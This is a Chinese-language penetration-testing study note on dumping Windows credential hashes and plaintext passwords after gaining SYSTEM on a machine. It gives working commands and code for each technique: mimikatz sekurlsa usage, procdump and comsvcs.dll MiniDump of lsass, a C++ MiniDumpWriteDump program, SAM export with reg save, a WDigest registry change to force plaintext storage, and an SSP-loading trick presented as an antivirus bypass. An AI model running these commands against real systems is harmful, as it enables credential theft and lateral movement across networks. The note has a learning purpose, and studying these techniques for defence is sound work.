域渗透学习笔记(五、哈希的导出方法)

当得到了某台机器的system权限后,这台机器中其实往往有可能存在一些别的用户登陆遗留下来的hash。如果能得到这些哈希,结合《域渗透学习笔记(三、哈希的利用)》中的方法,可能会有助于我们在内网中横向移动,进一步扩大战果,因此,本节记录目前常用的导出hash方法。

1.从lsass进程中获取hash/明文密码

本质上来说,大多数dump hash的方法都是对lsass进程做的文章,lsass是一个系统进程,用于微软Windows系统的安全机制。用于本地安全和登陆策略。因此我们也就是要想办法把这个进程的内存dump下来。

1.1.mimikatz

mimikatz的代码非常值得学习,提取用户凭证功能,其主要集中在sekurlsa模块。并且代码中列出了常用的提取用户凭据的方法。

const KUHL_M_C kuhl_m_c_sekurlsa[] = {
    {kuhl_m_sekurlsa_msv,               L"msv",             L"Lists LM & NTLM credentials"},
    {kuhl_m_sekurlsa_wdigest,           L"wdigest",         L"Lists WDigest credentials"},
    {kuhl_m_sekurlsa_kerberos,          L"kerberos",        L"Lists Kerberos credentials"},
    {kuhl_m_sekurlsa_tspkg,             L"tspkg",           L"Lists TsPkg credentials"},
#if !defined(_M_ARM64)
    {kuhl_m_sekurlsa_livessp,           L"livessp",         L"Lists LiveSSP credentials"},
#endif
    {kuhl_m_sekurlsa_ssp,               L"ssp",             L"Lists SSP credentials"},
    {kuhl_m_sekurlsa_all,               L"logonPasswords",  L"Lists all available providers credentials"},

    {kuhl_m_sekurlsa_process,           L"process",         L"Switch (or reinit) to LSASS process  context"},
    {kuhl_m_sekurlsa_minidump,          L"minidump",        L"Switch (or reinit) to LSASS minidump context"},
    {kuhl_m_sekurlsa_sk_bootKey,        L"bootkey",         L"Set the SecureKernel Boot Key to attempt to decrypt LSA Isolated credentials"},
    {kuhl_m_sekurlsa_pth,               L"pth",             L"Pass-the-hash"},
#if !defined(_M_ARM64)
    {kuhl_m_sekurlsa_krbtgt,            L"krbtgt",          L"krbtgt!"},
#endif
    {kuhl_m_sekurlsa_dpapi_system,      L"dpapisystem",     L"DPAPI_SYSTEM secret"},
#if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64
    {kuhl_m_sekurlsa_trust,             L"trust",           L"Antisocial"},
    {kuhl_m_sekurlsa_bkeys,             L"backupkeys",      L"Preferred Backup Master keys"},
#endif
    {kuhl_m_sekurlsa_kerberos_tickets,  L"tickets",         L"List Kerberos tickets"},
    {kuhl_m_sekurlsa_kerberos_keys,     L"ekeys",           L"List Kerberos Encryption Keys"},
    {kuhl_m_sekurlsa_dpapi,             L"dpapi",           L"List Cached MasterKeys"},
    {kuhl_m_sekurlsa_credman,           L"credman",         L"List Credentials Manager"},
};

目前微软对于内存中凭据的保护越来越严格了,下图是一张凭据分布情况图,可以看出随着版本的更新,凭据在内存中出现的更少了,并且保护也更加严格。

从上面的代码中我们可以看出,最常用的就是这个logonPasswords,该功能模块可以列出所有可用的用户凭据。

1.2.procdump

procdump工具可以非常方便的帮助我们dump某个进程的内存,并且这个程序是windows官方提供的,因此天然自带一定的免杀,可以使用该工具对目标主机dump内存后将文件下载到本地进行凭据提取。配合mimikatz的使用方法如下。

1.dump lsass内存

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

2.使用mimikatz从内存dump文件中读取凭据

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

1.3 windows API Dump内存

其实就是遍历进程列表,获取进程具柄,创建快照然后保存到文件。以下为ired.team中的代码。

#include "stdafx.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
using namespace std;

int main() {
    DWORD lsassPID = 0;
    HANDLE lsassHandle = NULL; 
    HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 processEntry = {};
    processEntry.dwSize = sizeof(PROCESSENTRY32);
    LPCWSTR processName = L"";

    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processName, L"lsass.exe") != 0) {
            Process32Next(snapshot, &processEntry);
            processName = processEntry.szExeFile;
            lsassPID = processEntry.th32ProcessID;
        }
        wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
    }

    lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
    BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);

    if (isDumped) {
        cout << "[+] lsass dumped successfully!" << endl;
    }

    return 0;
}

1.4 系统自带工具dump lsass的内存镜像

rundll32.exe是系统的一个自带工具,可以运行dll文件,系统中自带的comsvcs.dll正好就可以帮助我们完成内存dump的过程。

tasklist | findstr lsass #查看lsass进程的id
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 488 C:\windows\temp\lsass.dmp full

注意:此方法需要system权限!

1.5 调用lsass的RPC加载SSP实现内存dump

一个叫XPN的神仙发现的方法,可以调用lsass的RPC让它主动去加载一个自定义的dll。这样的话,杀毒软件肯定是不会组织lsass进程自己去dump自己内存的,从而实现了免杀。开源代码地址如下:

源码地址 使用方法非常简单,如下图所示。当然,这个dll是别人写好专门用来dump lsass进程内存的,其实换一些别的dll也同样可以加载。

2.从SAM中获取hash

1.导出sam

reg save hklm\system system.bak
reg save hklm\sam sam.bak

2.使用mimikatz读取sam

mimikatz.exe "lsadump::sam /system:system.bak /sam:sam.bak" exit

3.kb2871997导致无法抓明文密码绕过

kb2871997 通过禁用Wdigest Auth来强制系统内存不保存明文口令。所以很多机器上用mimikatz抓到的密码都是null。以下为常用的强制系统明文存储密码的方式:

3.1 修改注册表+强制锁屏

1.修改注册表

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

2.锁屏,然后等待用户登陆

RunDll32.exe user32.dll,LockWorkStation

如下图,修改完注册表后,可以获取到明文密码

3.2 RPC加载mimilib+强制锁屏

这个调用lsass进程的RPC迫使其加载SSP(dll)的方法是真的香,各种免杀。但是唯一不好的存在让系统崩溃重启的可能。 1.调用ssp加载mimilib

.\loader.exe C:\Users\Administrator\Desktop\mimilib.dll

2.锁屏,然后等待用户登陆

RunDll32.exe user32.dll,LockWorkStation

3.当用户打开锁屏登陆后,查看c:\windows\system32\kiwissp.log获取密码

type c:\windows\system32\kiwissp.log

参考链接

  • https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
  • https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
  • https://3gstudent.github.io/3gstudent.github.io/Mimikatz%E4%B8%ADSSP%E7%9A%84%E4%BD%BF%E7%94%A8/
  • https://blog.xpnsec.com/exploring-mimikatz-part-2/